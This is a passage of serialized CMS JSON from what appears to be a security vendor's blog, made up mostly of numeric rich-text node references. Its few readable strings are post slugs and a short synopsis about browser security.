":58780,"value":40192,"nodeType":865},{},[58781],{"type":961},{"data":58783,"marks":58784,"value":40196,"nodeType":865},{},[],{"data":58786,"content":58787,"nodeType":1835},{},[58788],{"data":58789,"content":58790,"nodeType":866},{},[58791],{"data":58792,"marks":58793,"value":40206,"nodeType":865},{},[],{"data":58795,"content":58796,"nodeType":1835},{},[58797],{"data":58798,"content":58799,"nodeType":866},{},[58800],{"data":58801,"marks":58802,"value":40216,"nodeType":865},{},[],{"data":58804,"content":58805,"nodeType":1835},{},[58806,58812],{"data":58807,"content":58808,"nodeType":866},{},[58809],{"data":58810,"marks":58811,"value":40226,"nodeType":865},{},[],{"data":58813,"content":58814,"nodeType":866},{},[58815],{"data":58816,"marks":58817,"value":40233,"nodeType":865},{},[],{"data":58819,"content":58820,"nodeType":1869},{},[58821,58834,58843,58852],{"data":58822,"content":58823,"nodeType":1835},{},[58824],{"data":58825,"content":58826,"nodeType":866},{},[58827,58831],{"data":58828,"marks":58829,"value":40247,"nodeType":865},{},[58830],{"type":961},{"data":58832,"marks":58833,"value":40251,"nodeType":865},{},[],{"data":58835,"content":58836,"nodeType":1835},{},[58837],{"data":58838,"content":58839,"nodeType":866},{},[58840],{"data":58841,"marks":58842,"value":40261,"nodeType":865},{},[],{"data":58844,"content":58845,"nodeType":1835},{},[58846],{"data":58847,"content":58848,"nodeType":866},{},[58849],{"data":58850,"marks":58851,"value":40271,"nodeType":865},{},[],{"data":58853,"content":58854,"nodeType":1835},{},[58855],{"data":58856,"content":58857,"nodeType":866},{},[58858],{"data":58859,"marks":58860,"value":40281,"nodeType":865},{},[],{"data":58862,"content":58863,"nodeType":1869},{},[58864,58877,58886,58895],{"data":58865,"content":58866,"nodeType":1835},{},[58867],{"data":58868,"content":58869,"nodeType":866},{},[58870,58874],{"data":58871,"marks":58872,"value":40295,"nodeType":865},{},[58873],{"type":961},{"data":58875,"marks":58876,"value":40299,"nodeType":865},{},[],{"data":58878,"content":58879,"nodeType":1835},{},[58880],{"data":58881,"content":58882,"nodeType":866},{},[58883],{"data":58884,"marks":58885,"value":40309,"nodeType":865},{},[],{"data":58887,"content":58888,"nodeType":1835},{},[58889],{"data":58890,"content":58891,"nodeType":866},{},[58892],{"data":58893,"marks":58894,"value":40319,"nodeType":865},{},[],{"data":58896,"content":58897,"nodeType":1835},{},[58898],{"data":58899,"content":58900,"nodeType":866},{},[58901],{"data":58902,"marks":58903,"value":40329,"nodeType":865},{},[],{"data":58905,"content":58906,"nodeType":1869},{},[58907,58920,58929,58938],{"data":58908,"content":58909,"nodeType":1835},{},[58910],{"data":58911,"content":58912,"nodeType":866},{},[58913,58917],{"data":58914,"marks":58915,"value":40343,"nodeType":865},{},[58916],{"type":961},{"data":58918,"marks":58919,"value":40347,"nodeType":865},{},[],{"data":58921,"content":58922,"nodeType":1835},{},[58923],{"data":58924,"content":58925,"nodeType":866},{},[58926],{"data":58927,"marks":58928,"value":40206,"nodeType":865},{},[],{"data":58930,"content":58931,"nodeType":1835},{},[58932],{"data":58933,"content":58934,"nodeType":866},{},[58935],{"data":58936,"marks":58937,"value":40366,"nodeType":865},{},[],{"data":58939,"content":58940,"nodeType":1835},{},[58941],{"data":58942,"content":58943,"nodeType":866},{},[58944],{"data":58945,"marks":58946,"value":40376,"nodeType":865},{},[],{"data":58948,"content":58949,"nodeType":866},{},[58950],{"data":58951,"marks":58952,"value":21,"nodeType":865},{},[],{"items":58954},[58955,58957],{"sys":58956,"name":11426},{"id":11425},{"sys":58958,"name":342},{"id":8410},{"items":58960},[58961],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":58962},{"url":11434},{"__typename":1788,"sys":58964,"content":58965,"title":10645,"synopsis":10646,"hashTags":59,"publishedDate":10647,"slug":10648,"tagsCollection":59395,"authorsCollection":59401},{"id":10136},{"json":58966},{"data":58967,"content":58968,"nodeType":1739},{},[58969,58976,59000,59005,59011,59026,59039,59042,59049,59062,59078,59098,59103,59116,59140,59145,59150,59163,59166,59173,59179,59186,59202,59215,59222,59244,59250,59257,59281,59287,59294,59300,59305,59308,59315,59321,59328,59333,59336,59343,59349,59355,59361,59371,59374,59380],{"data":58970,"content":58971,"nodeType":963},{},[58972],{"data":58973,"marks":58974,"value":10148,"nodeType":865},{},[58975],{"type":961},{"data":58977,"content":58978,"nodeType":866},{},[58979,58982,58988,58991,58997],{"data":58980,"marks":58981,"value":10155,"nodeType":865},{},[],{"data":58983,"content":58984,"nodeType":882},{"uri":10158},[58985],{"data":58986,"marks":58987,"value":10163,"nodeType":865},{},[],{"data":58989,"marks":58990,"value":10167,"nodeType":865},{},[],{"data":58992,"content":58993,"nodeType":882},{"uri":10170},[58994],{"data":58995,"marks":58996,"value":10175,"nodeType":865},{},[],{"data":58998,"marks":58999,"value":10179,"nodeType":865},{},[],{"data":59001,"content":59004,"nodeType":925},{"target":59002},{"sys":59003},{"id":10184,"type":922,"linkType":923},[],{"data":59006,"content":59007,"nodeType":866},{},[59008],{"data":59009,"marks":59010,"value":10192,"nodeType":865},{},[],{"data":59012,"content":59013,"nodeType":866},{},[59014,59017,59023],{"data":59015,"marks":59016,"value":10199,"nodeType":865},{},[],{"data":59018,"content":59019,"nodeType":882},{"uri":10202},[59020],{"data":59021,"marks":59022,"value":10207,"nodeType":865},{},[],{"data":59024,"marks":59025,"value":10211,"nodeType":865},{},[],{"data":59027,"content":59028,"nodeType":866},{},[59029,59032,59036],{"data":59030,"marks":59031,"value":10218,"nodeType":865},{},[],{"data":59033,"marks":59034,"value":10223,"nodeType":865},{},[59035],{"type":961},{"data":59037,"marks":59038,"value":1048,"nodeType":865},{},[],{"data":59040,"content":59041,"nodeType":953},{},[],{"data":59043,"content":59044,"nodeType":963},{},[59045],{"data":59046,"marks":59047,"value":10237,"nodeType":865},{},[59048],{"type":961},{"data":59050,"content":59051,"nodeType":866},{},[59052,59055,59059],{"data":59053,"marks":59054,"value":10244,"nodeType":865},{},[],{"data":59056,"marks":59057,"value":10249,"nodeType":865},{},[59058],{"type":944},{"data":59060,"marks":59061,"value":1048,"nodeType":865},{},[],{"data":59063,"content":59064,"nodeType":866},{},[59065,59068,59075],{"data":59066,"marks":59067,"value":10259,"nodeType":865},{},[],{"data":59069,"content":59070,"nodeType":882},{"uri":3620},[59071],{"data":59072,"marks":59073,"value":10267,"nodeType":865},{},[59074],{"type":997},{"data":59076,"marks":59077,"value":10271,"nodeType":865},{},[],{"data":59079,"content":59080,"nodeType":866},{},[59081,59084,59088,59091,59095],{"data":59082,"marks":59083,"value":10278,"nodeType":865},{},[],{"data":59085,"marks":59086,"value":10283,"nodeType":865},{},[59087],{"type":961},{"data":59089,"marks":59090,"value":10287,"nodeType":865},{},[],{"data":59092,"marks":59093,"value":10292,"nodeType":865},{},[59094],{"type":944},{"data":59096,"marks":59097,"value":10296,"nodeType":865},{},[],{"data":59099,"content":59102,"nodeType":925},{"target":59100},{"sys":59101},{"id":10301,"type":922,"linkType":923},[],{"data":59104,"content":59105,"nodeType":866},{},[59106,59109,59113],{"data":59107,"marks":59108,"value":10309,"nodeType":865},{},[],{"data":59110,"marks":59111,"value":10314,"nodeType":865},{},[59112],{"type":961},{"data":59114,"marks":59115,"value":10318,"nodeType":865},{},[],{"data":59117,"content":59118,"nodeType":866},{},[59119,59122,59128,59131,59137],{"data":59120,"marks":59121,"value":10325,"nodeType":865},{},[],{"data":59123,"content":59124,"nodeType":882},{"uri":10328},[59125],{"data":59126,"marks":59127,"value":10333,"nodeType":865},{},[],{"data":59129,"marks":59130,"value":10337,"nodeType":865},{},[],{"data":59132,"content":59133,"nodeType":882},{"uri":10340},[59134],{"data":59135,"marks":59136,"value":10345,"nodeType":865},{},[],{"data":59138,"marks":59139,"value":10349,"nodeType":865},{},[],{"data":59141,"content":59144,"nodeType":925},{"target":59142},{"sys":59143},{"id":10354,"type":922,"linkType":923},[],{"data":59146,"content":59149,"nodeType":925},{"target":59147},{"sys":59148},{"id":10360,"type":922,"linkType":923},[],{"data":59151,"content":59152,"nodeType":866},{},[59153,59156,59160],{"data":59154,"marks":59155,"value":10368,"nodeType":865},{},[],{"data":59157,"marks":59158,"value":10373,"nodeType":865},{},[59159],{"type":961},{"data":59161,"marks":59162,"value":10377,"nodeType":865},{},[],{"data":59164,"content":59165,"nodeType":953},{},[],{"data":59167,"content":59168,"nodeType":963},{},[59169],{"data":59170,"marks":59171,"value":10388,"nodeType":865},{},[59172],{"type":961},{"data":59174,"content":59175,"nodeType":866},{},[59176],{"data":59177,"marks":59178,"value":10395,"nodeType":865},{},[],{"data":59180,"content":59181,"nodeType":1458},{},[59182],{"data":59183,"marks":59184,"value":10403,"nodeType":865},{},[59185],{"type":961},{"data":59187,"content":59188,"nodeType":866},{},[59189,59192,59199],{"data":59190,"marks":59191,"value":21,"nodeType":865},{},[],{"data":59193,"content":59194,"nodeType":882},{"uri":3288},[59195],{"data":59196,"marks":59197,"value":10417,"nodeType":865},{},[59198],{"type":997},{"data":59200,"marks":59201,"value":10421,"nodeType":865},{},[],{"data":59203,"content":59204,"nodeType":866},{},[59205,59208,59212],{"data":59206,"marks":59207,"value":10428,"nodeType":865},{},[],{"data":59209,"marks":59210,"value":10433,"nodeType":865},{},[59211],{"type":961},{"data":59213,"marks":59214,"value":10437,"nodeType":865},{},[],{"data":59216,"content":59217,"nodeType":1458},{},[59218],{"data":59219,"marks":59220,"value":288,"nodeType":865},{},[59221],{"type":961},{"data":59223,"content":59224,"nodeType":866},{},[59225,59229,59237,59241],{"data":59226,"marks":59227,"value":21,"nodeType":865},{},[59228],{"type":961},{"data":59230,"content":59231,"nodeType":882},{"uri":4136},[59232],{"data":59233,"marks":59234,"value":10460,"nodeType":865},{},[59235,59236],{"type":997},{"type":961},{"data":59238,"marks":59239,"value":10465,"nodeType":865},{},[59240],{"type":961},{"data":59242,"marks":59243,"value":10469,"nodeType":865},{},[],{"data":59245,"content":59246,"nodeType":866},{},[59247],{"data":59248,"marks":59249,"value":10476,"nodeType":865},{},[],{"data":59251,"content":59252,"nodeType":1458},{},[59253],{"data":59254,"marks":59255,"value":10484,"nodeType":865},{},[59256],{"type":961},{"data":59258,"content":59259,"nodeType":866},{},[59260,59263,59269,59272,59278],{"data":59261,"marks":59262,"value":10491,"nodeType":865},{},[],{"data":59264,"content":59265,"nodeType":882},{"uri":10494},[59266],{"data":59267,"marks":59268,"value":10499,"nodeType":865},{},[],{"data":59270,"marks":59271,"value":10503,"nodeType":865},{},[],{"data":59273,"content":59274,"nodeType":882},{"uri":1362},[59275],{"data":59276,"marks":59277,"value":10510,"nodeType":865},{},[],{"data":59279,"marks":59280,"value":10514,"nodeType":865},{},[],{"data":59282,"content":59283,"nodeType":866},{},[59284],{"data":59285,"marks":59286,"value":10521,"nodeType":865},{},[],{"data":59288,"content":59289,"nodeType":1458},{},[59290],{"data":59291,"marks":59292,"value":10529,"nodeType":865},{},[59293],{"type":961},{"data":59295,"content":59296,"nodeType":866},{},[59297],{"data":59298,"marks":59299,"value":10536,"nodeType":865},{},[],{"data":59301,"content":59304,"nodeType":925},{"target":59302},{"sys":59303},{"id":10541,"type":922,"linkType":923},[],{"data":59306,"content":59307,"nodeType":953},{},[],{"data":59309,"content":59310,"nodeType":963},{},[59311],{"data":59312,"marks":59313,"value":10553,"nodeType":865},{},[59314],{"type":961},{"data":59316,"content":59317,"nodeType":866},{},[59318],{"data":59319,"marks":59320,"value":10560,"nodeType":865},{},[],{"data":59322,"content":59323,"nodeType":866},{},[59324],{"data":59325,"marks":59326,"value":10568,"nodeType":865},{},[59327],{"type":961},{"data":59329,"content":59332,"nodeType":925},{"target":59330},{"sys":59331},{"id":10573,"type":922,"linkType":923},[],{"data":59334,"content":59335,"nodeType":953},{},[],{"data":59337,"content":59338,"nodeType":1458},{},[59339],{"data":59340,"marks":59341,"value":10585,"nodeType":865},{},[59342],{"type":961},{"data":59344,"content":59345,"nodeType":866},{},[59346],{"data":59347,"marks":59348,"value":10592,"nodeType":865},{},[],{"data":59350,"content":59351,"nodeType":866},{},[59352],{"data":59353,"marks":59354,"value":10599,"nodeType":865},{},[],{"data":59356,"content":59357,"nodeType":866},{},[59358],{"data":59359,"marks":59360,"value":10606,"nodeType":865},{},[],{"data":59362,"content":59363,"nodeType":866},{},[59364,59368],{"data":59365,"marks":59366,"value":10614,"nodeType":865},{},[59367],{"type":961},{"data":59369,"marks":59370,"value":10618,"nodeType":865},{},[],{"data":59372,"content":59373,"nodeType":953},{},[],{"data":59375,"content":59376,"nodeType":866},{},[59377],{"data":59378,"marks":59379,"value":5006,"nodeType":865},{},[],{"data":59381,"content":59382,"nodeType":866},{},[59383,59386,59392],{"data":59384,"marks":59385,"value":10634,"nodeType":865},{},[],{"data":59387,"content":59388,"nodeType":882},{"uri":9244},[59389],{"data":59390,"marks":59391,"value":10641,"nodeType":865},{},[],{"data":59393,"marks":59394,"value":1738,"nodeType":865},{},[],{"items":59396},[59397,59399],{"sys":59398,"name":2825},{"id":2824},{"sys":59400,"name":342},{"id":8410},{"items":59402},[59403],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":59404},{"url":853},"blog/how-to-avoid-the-browser-security-buyers-trap",{"json":59407},{"data":59408,"content":59409,"nodeType":1739},{},[59410],{"data":59411,"content":59412,"nodeType":866},{},[59413],{"data":59414,"marks":59415,"value":59416,"nodeType":865},{},[],"Securing the browser vs. securing the organization via the browser — what's the difference? Most browser security solutions defend against the browser being hacked, but these aren't the attacks that are actually leading to major breaches. ",{"id":35538,"publishedAt":59418},"2026-08-13T09:35:09.806Z",{"items":59420},[59421,59423],{"sys":59422,"name":297},{"id":2828},{"sys":59424,"name":2825},{"id":2824},{"items":59426},[59427,59429,59431,59433,59435,59437,59439,59441,59443,59445,59447,59449,59451,59453,59455,59457,59459,59461,59463,59465,59467,59469,59471],{"sys":59428,"name":297,"slug":298,"tier":31},{"id":294},{"sys":59430,"name":279,"slug":280,"tier":31},{"id":276},{"sys":59432,"name":413,"slug":414,"tier":31},{"id":410},{"sys":59434,"name":519,"slug":520,"tier":31},{"id":516},{"sys":59436,"name":342,"slug":343,"tier":31},{"id":339},{"sys":59438,"name":386,"slug":387,"tier":45},{"id":383},{"sys":59440,"name":511,"slug":512,"tier":45},{"id":508},{"sys":59442,"name":261,"slug":262,"tier":45},{"id":258},{"sys":59444,"name":571,"slug":572,"tier":45},{"id":568},{"sys":59446,"name":333,"slug":334,"tier":45},{"id":330},{"sys":59448,"name":324,"slug":325,"tier":45},{"id":321},{"sys":59450,"name":484,"slug":485,"tier":45},{"id":481},{"sys":59452,"name":315,"slug":316,"tier":45},{"id":312},{"sys":59454,"name":360,"slug":361,"tier":45},{"id":357},{"sys":59456,"name":395,"slug":396,"tier":45},{"id":392},{"sys":59458,"name":589,"slug":590,"tier":45},{"id":586},{"sys":59460,"name":288,"slug":289,"tier":45},{"id":285},{"sys":59462,"name":502,"slug":503,"tier":45},{"id":499},{"sys":59464,"name":457,"slug":458,"tier":45},{"id":454},{"sys":59466,"name":377,"slug":378,"tier":45},{"id":374},{"sys":59468,"name":624,"slug":625,"tier":45},{"id":621},{"sys":59470,"name":368,"slug":369,"tier":45},{"id":365},{"sys":59472,"name":244,"slug":245,"tier":45},{"id":241},"5C3_54ldAqXGDnFfNyrEkB5PAE-NWpPCxwC0yi4pkDk",{"id":59475,"title":16221,"authorsCollection":59476,"content":59480,"extension":228,"faqItemsCollection":60426,"faqTitle":59,"featured":19,"hashTags":59,"meta":60428,"metaTitle":60429,"ogImage":59,"postType":1783,"publishedDate":16223,"relatedBlogPostsCollection":60430,"slug":16224,"stem":62252,"subtitle":59,"summary":62253,"synopsis":16222,"sys":62264,"tagsCollection":62266,"topicsCollection":62272,"__hash__":62308},"blog/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline.json",{"items":59477},[59478],{"fullName":3774,"firstName":3775,"jobTitle":3776,"socialLinks":59,"profilePicture":59479},{"url":3778},{"json":59481,"links":60288},{"data":59482,"content":59483,"nodeType":1739},{},[59484,59490,59507,59517,59523,59530,59536,59556,59562,59568,59574,59584,59589,59592,59599,59612,59629,59725,59730,59736,59741,59748,59754,59764,59770,59775,59781,59801,59807,59813,59818,59821,59828,59834,59841,59847,59860,59866,59872,59879,59885,59891,59898,59904,59910,59913,59920,59926,59933,59939,59945,59951,59957,59964,59970,59997,60003,60009,60014,60020,60027,60033,60101,60106,60113,60126,60132,60137,60143,60156,60159,60166,60172,60178,60183,60189,60228,60234,60240,60246,60251,60254,60261,60267,60273],{"data":59485,"content":59486,"nodeType":866},{},[59487],{"data":59488,"marks":59489,"value":15294,"nodeType":865},{},[],{"data":59491,"content":59492,"nodeType":866},{},[59493,59496,59504],{"data":59494,"marks":59495,"value":15301,"nodeType":865},{},[],{"data":59497,"content":59500,"nodeType":15311},{"target":59498},{"sys":59499},{"id":15306,"type":922,"linkType":923},[59501],{"data":59502,"marks":59503,"value":441,"nodeType":865},{},[],{"data":59505,"marks":59506,"value":15315,"nodeType":865},{},[],{"data":59508,"content":59509,"nodeType":866},{},[59510,59513],{"data":59511,"marks":59512,"value":15322,"nodeType":865},{},[],{"data":59514,"marks":59515,"value":15327,"nodeType":865},{},[59516],{"type":944},{"data":59518,"content":59519,"nodeType":866},{},[59520],{"data":59521,"marks":59522,"value":15334,"nodeType":865},{},[],{"data":59524,"content":59525,"nodeType":866},{},[59526],{"data":59527,"marks":59528,"value":15342,"nodeType":865},{},[59529],{"type":961},{"data":59531,"content":59532,"nodeType":866},{},[59533],{"data":59534,"marks":59535,"value":15349,"nodeType":865},{},[],{"data":59537,"content":59538,"nodeType":866},{},[59539,59543,59552],{"data":59540,"marks":59541,"value":15357,"nodeType":865},{},[59542],{"type":961},{"data":59544,"content":59547,"nodeType":15311},{"target":59545},{"sys":59546},{"id":15362,"type":922,"linkType":923},[59548],{"data":59549,"marks":59550,"value":11347,"nodeType":865},{},[59551],{"type":961},{"data":59553,"marks":59554,"value":1048,"nodeType":865},{},[59555],{"type":961},{"data":59557,"content":59558,"nodeType":866},{},[59559],{"data":59560,"marks":59561,"value":15378,"nodeType":865},{},[],{"data":59563,"content":59564,"nodeType":866},{},[59565],{"data":59566,"marks":59567,"value":15385,"nodeType":865},{},[],{"data":59569,"content":59570,"nodeType":866},{},[59571],{"data":59572,"marks":59573,"value":15392,"nodeType":865},{},[],{"data":59575,"content":59576,"nodeType":866},{},[59577,59581],{"data":59578,"marks":59579,"value":15400,"nodeType":865},{},[59580],{"type":961},{"data":59582,"marks":59583,"value":15404,"nodeType":865},{},[],{"data":59585,"content":59588,"nodeType":925},{"target":59586},{"sys":59587},{"id":15409,"type":922,"linkType":923},[],{"data":59590,"content":59591,"nodeType":953},{},[],{"data":59593,"content":59594,"nodeType":963},{},[59595],{"data":59596,"marks":59597,"value":15421,"nodeType":865},{},[59598],{"type":961},{"data":59600,"content":59601,"nodeType":866},{},[59602,59605,59609],{"data":59603,"marks":59604,"value":15428,"nodeType":865},{},[],{"data":59606,"marks":59607,"value":15433,"nodeType":865},{},[59608],{"type":961},{"data":59610,"marks":59611,"value":15437,"nodeType":865},{},[],{"data":59613,"content":59614,"nodeType":866},{},[59615,59618,59626],{"data":59616,"marks":59617,"value":15444,"nodeType":865},{},[],{"data":59619,"content":59622,"nodeType":15311},{"target":59620},{"sys":59621},{"id":15449,"type":922,"linkType":923},[59623],{"data":59624,"marks":59625,"value":15454,"nodeType":865},{},[],{"data":59627,"marks":59628,"value":15458,"nodeType":865},{},[],{"data":59630,"content":59631,"nodeType":1049},{},[59632,59641,59661],{"data":59633,"content":59634,"nodeType":1003},{},[59635],{"data":59636,"content":59637,"nodeType":866},{},[59638],{"data":59639,"marks":59640,"value":15471,"nodeType":865},{},[],{"data":59642,"content":59643,"nodeType":1003},{},[59644],{"data":59645,"content":59646,"nodeType":866},{},[59647,59650,59658],{"data":59648,"marks":59649,"value":15481,"nodeType":865},{},[],{"data":59651,"content":59654,"nodeType":15311},{"target":59652},{"sys":59653},{"id":15486,"type":922,"linkType":923},[59655],{"data":59656,"marks":59657,"value":15491,"nodeType":865},{},[],{"data":59659,"marks":59660,"value":15495,"nodeType":865},{},[],{"data":59662,"content":59663,"nodeType":1003},{},[59664],{"data":59665,"content":59666,"nodeType":866},{},[59667,59670,59678,59681,59689,59692,59700,59703,59711,59714,59722],{"data":59668,"marks":59669,"value":15505,"nodeType":865},{},[],{"data":59671,"content":59674,"nodeType":15311},{"target":59672},{"sys":59673},{"id":15510,"type":922,"linkType":923},[59675],{"data":59676,"marks":59677,"value":11095,"nodeType":865},{},[],{"data":59679,"marks":59680,"value":15518,"nodeType":865},{},[],{"data":59682,"content":59685,"nodeType":15311},{"target":59683},{"sys":59684},{"id":15362,"type":922,"linkType":923},[59686],{"data":59687,"marks":59688,"value":15527,"nodeType":865},{},[],{"data":59690,"marks":59691,"value":15531,"nodeType":865},{},[],{"data":59693,"content":59696,"nodeType":15311},{"target":59694},{"sys":59695},{"id":15536,"type":922,"linkType":923},[59697],{"data":59698,"marks":59699,"value":15541,"nodeType":865},{},[],{"data":59701,"marks":59702,"value":2157,"nodeType":865},{},[],{"data":59704,"content":59707,"nodeType":15311},{"target":59705},{"sys":59706},{"id":15306,"type":922,"linkType":923},[59708],{"data":59709,"marks":59710,"value":520,"nodeType":865},{},[],{"data":59712,"marks":59713,"value":2157,"nodeType":865},{},[],{"data":59715,"content":59718,"nodeType":15311},{"target":59716},{"sys":59717},{"id":15560,"type":922,"linkType":923},[59719],{"data":59720,"marks":59721,"value":15565,"nodeType":865},{},[],{"data":59723,"marks":59724,"value":15569,"nodeType":865},{},[],{"data":59726,"content":59729,"nodeType":925},{"target":59727},{"sys":59728},{"id":15574,"type":922,"linkType":923},[],{"data":59731,"content":59732,"nodeType":866},{},[59733],{"data":59734,"marks":59735,"value":15582,"nodeType":865},{},[],{"data":59737,"content":59740,"nodeType":925},{"target":59738},{"sys":59739},{"id":15587,"type":922,"linkType":923},[],{"data":59742,"content":59743,"nodeType":1458},{},[59744],{"data":59745,"marks":59746,"value":15596,"nodeType":865},{},[59747],{"type":961},{"data":59749,"content":59750,"nodeType":866},{},[59751],{"data":59752,"marks":59753,"value":15603,"nodeType":865},{},[],{"data":59755,"content":59756,"nodeType":866},{},[59757,59761],{"data":59758,"marks":59759,"value":15611,"nodeType":865},{},[59760],{"type":961},{"data":59762,"marks":59763,"value":15615,"nodeType":865},{},[],{"data":59765,"content":59766,"nodeType":866},{},[59767],{"data":59768,"marks":59769,"value":15622,"nodeType":865},{},[],{"data":59771,"content":59774,"nodeType":925},{"target":59772},{"sys":59773},{"id":15627,"type":922,"linkType":923},[],{"data":59776,"content":59777,"nodeType":866},{},[59778],{"data":59779,"marks":59780,"value":15635,"nodeType":865},{},[],{"data":59782,"content":59783,"nodeType":866},{},[59784,59788,59797],{"data":59785,"marks":59786,"value":15643,"nodeType":865},{},[59787],{"type":961},{"data":59789,"content":59792,"nodeType":15311},{"target":59790},{"sys":59791},{"id":15648,"type":922,"linkType":923},[59793],{"data":59794,"marks":59795,"value":8561,"nodeType":865},{},[59796],{"type":961},{"data":59798,"marks":59799,"value":15658,"nodeType":865},{},[59800],{"type":961},{"data":59802,"content":59803,"nodeType":866},{},[59804],{"data":59805,"marks":59806,"value":15665,"nodeType":865},{},[],{"data":59808,"content":59809,"nodeType":866},{},[59810],{"data":59811,"marks":59812,"value":15672,"nodeType":865},{},[],{"data":59814,"content":59817,"nodeType":925},{"target":59815},{"sys":59816},{"id":15677,"type":922,"linkType":923},[],{"data":59819,"content":59820,"nodeType":953},{},[],{"data":59822,"content":59823,"nodeType":963},{},[59824],{"data":59825,"marks":59826,"value":15689,"nodeType":865},{},[59827],{"type":961},{"data":59829,"content":59830,"nodeType":866},{},[59831],{"data":59832,"marks":59833,"value":15696,"nodeType":865},{},[],{"data":59835,"content":59836,"nodeType":1458},{},[59837],{"data":59838,"marks":59839,"value":15704,"nodeType":865},{},[59840],{"type":961},{"data":59842,"content":59843,"nodeType":866},{},[59844],{"data":59845,"marks":59846,"value":15711,"nodeType":865},{},[],{"data":59848,"content":59849,"nodeType":866},{},[59850,59853,59857],{"data":59851,"marks":59852,"value":15718,"nodeType":865},{},[],{"data":59854,"marks":59855,"value":9014,"nodeType":865},{},[59856],{"type":961},{"data":59858,"marks":59859,"value":15726,"nodeType":865},{},[],{"data":59861,"content":59862,"nodeType":866},{},[59863],{"data":59864,"marks":59865,"value":15733,"nodeType":865},{},[],{"data":59867,"content":59868,"nodeType":866},{},[59869],{"data":59870,"marks":59871,"value":15740,"nodeType":865},{},[],{"data":59873,"content":59874,"nodeType":1458},{},[59875],{"data":59876,"marks":59877,"value":15748,"nodeType":865},{},[59878],{"type":961},{"data":59880,"content":59881,"nodeType":866},{},[59882],{"data":59883,"marks":59884,"value":15755,"nodeType":865},{},[],{"data":59886,"content":59887,"nodeType":866},{},[59888],{"data":59889,"marks":59890,"value":15762,"nodeType":865},{},[],{"data":59892,"content":59893,"nodeType":1458},{},[59894],{"data":59895,"marks":59896,"value":15770,"nodeType":865},{},[59897],{"type":961},{"data":59899,"content":59900,"nodeType":866},{},[59901],{"data":59902,"marks":59903,"value":15777,"nodeType":865},{},[],{"data":59905,"content":59906,"nodeType":866},{},[59907],{"data":59908,"marks":59909,"value":15784,"nodeType":865},{},[],{"data":59911,"content":59912,"nodeType":953},{},[],{"data":59914,"content":59915,"nodeType":963},{},[59916],{"data":59917,"marks":59918,"value":15795,"nodeType":865},{},[59919],{"type":961},{"data":59921,"content":59922,"nodeType":866},{},[59923],{"data":59924,"marks":59925,"value":15802,"nodeType":865},{},[],{"data":59927,"content":59928,"nodeType":1458},{},[59929],{"data":59930,"marks":59931,"value":15810,"nodeType":865},{},[59932],{"type":961},{"data":59934,"content":59935,"nodeType":866},{},[59936],{"data":59937,"marks":59938,"value":15817,"nodeType":865},{},[],{"data":59940,"content":59941,"nodeType":866},{},[59942],{"data":59943,"marks":59944,"value":15824,"nodeType":865},{},[],{"data":59946,"content":59947,"nodeType":866},{},[59948],{"data":59949,"marks":59950,"value":15831,"nodeType":865},{},[],{"data":59952,"content":59953,"nodeType":866},{},[59954],{"data":59955,"marks":59956,"value":15838,"nodeType":865},{},[],{"data":59958,"content":59959,"nodeType":1458},{},[59960],{"data":59961,"marks":59962,"value":15846,"nodeType":865},{},[59963],{"type":961},{"data":59965,"content":59966,"nodeType":866},{},[59967],{"data":59968,"marks":59969,"value":15853,"nodeType":865},{},[],{"data":59971,"content":59972,"nodeType":866},{},[59973,59976,59980,59983,59987,59990,59994],{"data":59974,"marks":59975,"value":15860,"nodeType":865},{},[],{"data":59977,"marks":59978,"value":15865,"nodeType":865},{},[59979],{"type":961},{"data":59981,"marks":59982,"value":2186,"nodeType":865},{},[],{"data":59984,"marks":59985,"value":15873,"nodeType":865},{},[59986],{"type":961},{"data":59988,"marks":59989,"value":2186,"nodeType":865},{},[],{"data":59991,"marks":59992,"value":15881,"nodeType":865},{},[59993],{"type":961},{"data":59995,"marks":59996,"value":15885,"nodeType":865},{},[],{"data":59998,"content":59999,"nodeType":866},{},[60000],{"data":60001,"marks":60002,"value":15892,"nodeType":865},{},[],{"data":60004,"content":60005,"nodeType":866},{},[60006],{"data":60007,"marks":60008,"value":15899,"nodeType":865},{},[],{"data":60010,"content":60013,"nodeType":925},{"target":60011},{"sys":60012},{"id":15904,"type":922,"linkType":923},[],{"data":60015,"content":60016,"nodeType":866},{},[60017],{"data":60018,"marks":60019,"value":15912,"nodeType":865},{},[],{"data":60021,"content":60022,"nodeType":1458},{},[60023],{"data":60024,"marks":60025,"value":15920,"nodeType":865},{},[60026],{"type":961},{"data":60028,"content":60029,"nodeType":866},{},[60030],{"data":60031,"marks":60032,"value":15927,"nodeType":865},{},[],{"data":60034,"content":60035,"nodeType":1049},{},[60036,60049,60062,60075,60088],{"data":60037,"content":60038,"nodeType":1003},{},[60039],{"data":60040,"content":60041,"nodeType":866},{},[60042,60046],{"data":60043,"marks":60044,"value":15941,"nodeType":865},{},[60045],{"type":961},{"data":60047,"marks":60048,"value":15945,"nodeType":865},{},[],{"data":60050,"content":60051,"nodeType":1003},{},[60052],{"data":60053,"content":60054,"nodeType":866},{},[60055,60059],{"data":60056,"marks":60057,"value":15956,"nodeType":865},{},[60058],{"type":961},{"data":60060,"marks":60061,"value":15960,"nodeType":865},{},[],{"data":60063,"content":60064,"nodeType":1003},{},[60065],{"data":60066,"content":60067,"nodeType":866},{},[60068,60072],{"data":60069,"marks":60070,"value":15971,"nodeType":865},{},[60071],{"type":961},{"data":60073,"marks":60074,"value":15975,"nodeType":865},{},[],{"data":60076,"content":60077,"nodeType":1003},{},[60078],{"data":60079,"content":60080,"nodeType":866},{},[60081,60085],{"data":60082,"marks":60083,"value":15986,"nodeType":865},{},[60084],{"type":961},{"data":60086,"marks":60087,"value":15990,"nodeType":865},{},[],{"data":60089,"content":60090,"nodeType":1003},{},[60091],{"data":60092,"content":60093,"nodeType":866},{},[60094,60098],{"data":60095,"marks":60096,"value":16001,"nodeType":865},{},[60097],{"type":961},{"data":60099,"marks":60100,"value":16005,"nodeType":865},{},[],{"data":60102,"content":60105,"nodeType":925},{"target":60103},{"sys":60104},{"id":16010,"type":922,"linkType":923},[],{"data":60107,"content":60108,"nodeType":1458},{},[60109],{"data":60110,"marks":60111,"value":16019,"nodeType":865},{},[60112],{"type":961},{"data":60114,"content":60115,"nodeType":866},{},[60116,60119,60123],{"data":60117,"marks":60118,"value":16026,"nodeType":865},{},[],{"data":60120,"marks":60121,"value":16031,"nodeType":865},{},[60122],{"type":961},{"data":60124,"marks":60125,"value":16035,"nodeType":865},{},[],{"data":60127,"content":60128,"